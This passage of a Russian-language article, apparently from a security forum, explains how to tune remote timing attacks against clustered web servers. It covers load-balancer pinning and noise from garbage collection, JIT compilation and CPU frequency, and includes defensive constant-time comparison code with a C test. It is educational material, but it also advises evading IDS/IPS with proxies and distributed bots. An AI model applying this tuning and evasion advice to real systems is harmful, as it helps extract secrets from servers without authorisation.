Бывает и наоборот: сеть такая быстрая, что время ответа определяется почти полностью серверной обработкой. Но тогда мы упираемся в другое: если мы делаем тысячи запросов в секунду, можем вызвать подозрения у систем обнаружения вторжений (IDS/IPS) или просто положить сервер. Придётся растягивать атаку во времени, использовать прокси, распределённые боты. Но это уже отдельная история.5.2 Load Balancer и кластеризация: когда у врага много лиц
Современные веб-приложения редко живут на одном сервере. Обычно за доменом стоит целый кластер, запросы распределяются через балансировщик. И вот тут начинается жесть.5.2.1 Проблема неоднородности
У каждого сервера в кластере может быть:- Разная загрузка CPU
- Разный размер кэша
- Разная версия ПО
- И даже разный секретный ключ (если используется что-то вроде session affinity без репликации ключей)
5.2.2 Как понять, что ты попал на другой сервер
- Анализ заголовков ответа. Некоторые серверы выдают Server, X-Powered-By или добавляют свои специфичные заголовки (например, X-Backend-Server). Их можно отслеживать и группировать замеры по ним.
- IP-адрес. Если кластер географически распределён, могут быть разные IP при каждом запросе? Обычно балансировщик имеет один внешний IP, но если запросы идут через разные выходные ноды, можно попробовать определить по TTL или другим сетевым меткам. Сложно.
- Временные паттерны. Иногда можно замерить базовую задержку до сервера (например, отправив простой GET на статику) и если она меняется скачкообразно - значит, сменился бэкенд.
5.2.3 Как заставить балансировщик не мешаться
- Sticky sessions. Многие балансировщики поддерживают привязку сессии по куке или по IP. Если удастся заставить сервер отдать куку сессии и потом всегда её предъявлять - все запросы пойдут на один и тот же бэкенд. В timing-атаке мы можем использовать один и тот же session cookie, даже если она невалидна, главное, чтобы балансировщик по ней направлял.
- TCP Keep-Alive. Если открыть долгое TCP-соединение и слать запросы через него, балансировщик обычно не перебрасывает соединение на другой сервер. Так что все запросы пойдут в одну ноду.
- Многопоточность запросов. Можно попытаться открыть много параллельных соединений, каждое залипнет на своём сервере, и потом анализировать результаты отдельно для каждого.
- Анализ дисперсии. Если замечаешь, что время сильно скачет, можно предположить, что запросы уходят на разные сервера. В таком случае можно попробовать собрать статистику отдельно для каждого сервера (если удаётся их как-то идентифицировать) и комбинировать результаты.
5.2.4 Пример с эмуляцией двух серверов
Для проверки гипотезы можно написать скрипт, который собирает времена и строит гистограмму. Если видно два пика - значит, два разных сервера. Дальше можно пытаться отделить их по какому-либо признаку.
Python:
import matplotlib.pyplot as plt
times = [...] # собранные времена
plt.hist(times, bins=100)
plt.show()
Код:
Если повезёт, пики будут видны невооружённым глазом.
5.3 Constant-Time Compare: броня или иллюзия?
Главная защита от простых timing-атак - функции сравнения, время выполнения которых не зависит от содержимого сравниваемых данных. Они реализуются через XOR и OR, без ветвлений по данным. Везде, где сравниваются секреты (пароли, HMAC, токены), обязательно нужно использовать такие функции.5.3.1 Примеры на разных языках
- Python: hmac.compare_digest(a, b)
- PHP: hash_equals($a, $b)
- Java: MessageDigest.isEqual(a, b) (начиная с Java 6, но там были проблемы, в Java 11 исправили)
- C: если пишешь сам, то нужно использовать что-то вроде:
C:int timing_safe_cmp(const void *a, const void *b, size_t len) { const unsigned char *ca = a, *cb = b; unsigned char result = 0; for (size_t i = 0; i < len; i++) { result |= ca[i] ^ cb[i]; } return result; // 0 если равны }
- Go: subtle.ConstantTimeCompare в пакете crypto/subtle.
5.3.2 Можно ли обойти constant-time compare?
Функция сама по себе может быть написана правильно, но она работает не в вакууме.- Кэш-тайминг атаки на доступ к памяти: если функция читает секрет и ввод по индексам, то индексы могут влиять на кэш-промахи. Например, если секрет и ввод - разные строки, но индексация идёт последовательно, то кэш-промахи будут одинаковы. Однако если злоумышленник может контролировать расположение данных в памяти (например, через использование огромных страниц или выравнивание), можно попытаться вызвать конфликты в кэше. Но это требует экзотических условий.
- Атака на ветвления в самом алгоритме хеширования: constant-time compare обычно применяется к уже вычисленному хешу. Но сам алгоритм хеширования (например, SHA-256) может иметь утечки по времени. Например, в старых реализациях SHA-1 были утечки. Современные реализации стараются быть constant-time, но не все.
- Атака на длину: если compare сначала проверяет длину (обычно так и делается, чтобы не сравнивать разные длины), то по времени можно узнать длину секрета. Это уже информация.
5.3.3 Практический тест: измеряем свою реализацию
Давай проверим, действительно ли наша реализация на C constant-time. Скомпилируем с оптимизациями и замерим для разных входов. В идеале, время должно быть одинаковым.Файл: const_time_test.c
C:
#include <stdio.h>
#include <string.h>
#include <stdint.h>
#include <x86intrin.h>
int timing_safe_cmp(const void *a, const void *b, size_t len) {
const unsigned char *ca = a, *cb = b;
unsigned char result = 0;
for (size_t i = 0; i < len; i++) {
result |= ca[i] ^ cb[i];
}
return result;
}
int main() {
char secret[32] = "this_is_a_secret_key_12345";
char input1[32], input2[32];
memcpy(input1, secret, 32);
input1[0] ^= 1; // меняем первый байт
memcpy(input2, secret, 32);
input2[31] ^= 1; // меняем последний байт
uint64_t start, end;
int dummy;
start = __rdtsc();
dummy = timing_safe_cmp(secret, input1, 32);
end = __rdtsc();
printf("input1 (first byte changed): %llu cycles\n", end - start);
start = __rdtsc();
dummy = timing_safe_cmp(secret, input2, 32);
end = __rdtsc();
printf("input2 (last byte changed): %llu cycles\n", end - start);
// Измеряем несколько раз для усреднения
return 0;
}
Скорее всего, ты увидишь примерно одинаковые цифры (плюс-минус шум). Но если увеличить количество замеров, может обнаружиться небольшое смещение из-за кэша: при первом вызове secret загружается в кэш, при втором он уже там, поэтому время может немного отличаться. Чтобы избежать этого, нужно прогревать кэш перед измерениями или измерять много раз и усреднять. В любом случае, разница будет на порядок меньше, чем в случае с ветвлением.
5.4 Шум от Garbage Collector и фоновых процессов
Сервер - это не изолированная среда. Там крутится куча всего: cron, логи, мониторинг, другие клиенты. И всё это влияет на время ответа.5.4.1 Garbage Collector (Java, C#, Go, Python...)
В языках с автоматическим управлением памятью сборщик мусора может запуститься в любой момент и на несколько миллисекунд (или даже секунд) заморозить выполнение программы. Для timing-атаки это катастрофа: один такой выброс может испортить всю выборку.Как бороться:
- Собирать очень много данных и отбрасывать выбросы. Если GC случается редко (раз в минуту), то при 10000 запросов несколько будут с огромным временем - их легко отфильтровать по перцентилям.
- Выбирать время атаки, когда сервер наименее загружен (ночью, в выходные).
- Анализировать распределение: иногда можно заметить, что времена имеют два пика - нормальный и "GC-шный". Если второй пик достаточно отделён, можно отбросить все значения выше определённого порога.
5.4.2 JIT-компиляция
Виртуальные машины типа Java HotSpot или V8 компилируют часто выполняемый код на лету. Первый вызов функции может быть медленным (интерпретация), потом - быстрым (скомпилированный код). Это тоже создаёт неоднородность.Совет: перед началом атаки сделать много "прогревочных" запросов, чтобы код скомпилировался и вошёл в установившийся режим.
5.4.3 Турбо-буст и энергосбережение
Современные процессоры меняют частоту в зависимости от нагрузки. Если сервер простаивает, частота может упасть, и время выполнения увеличится. Если ты долбишь сервер запросами, частота поднимется. Это не страшно, если все измерения делаются в одинаковых условиях. Но если атака длится долго, а сервер то нагружается, то простаивает из-за других клиентов, частота будет плавать.Решение: мониторить частоту (через cpufreq или rdtsc), и если замечаешь скачки, делать перерывы или нормализовать время по текущей частоте.
5.4.4 Прерывания и планировщик
Каждые несколько миллисекунд происходит прерывание таймера, переключение контекста, обработка сетевых прерываний. Это добавляет случайный шум. Но он обычно невелик (микросекунды) и при большом количестве замеров усредняется.Заключение
Мы копаемся в кишках процессов, мы - археологи цифрового мира. Мы видим, как на самом деле работает эта хитрая штука под названием "компьютер". Он не идеален. Он не безопасен. Он просто выполняет инструкции, даже если эти инструкции выдают наши секреты через чёрный ход времени.Я не призываю тебя валить сайты. Я призываю тебя думать. Когда ты в следующий раз сядешь писать свой "супер-пупер защищенный" код на Laravel или Django, вспомни про эту статью. Вспомни, что твой hash_equals() в PHP (кстати, он как раз constant-time) появился не просто так. Его добавили, потому что умные дяди поняли: сравнение строк через == - это пуля в ногу.
Будь честен с кодом. Код - это отражение твоей мысли. Если твоя мысль кривая, код будет течь. Атаки по времени - это не магия. Это просто разговор с машиной на её языке. Она шепчет тебе: "Ты угадал первый символ... ну давай, пробуй дальше...".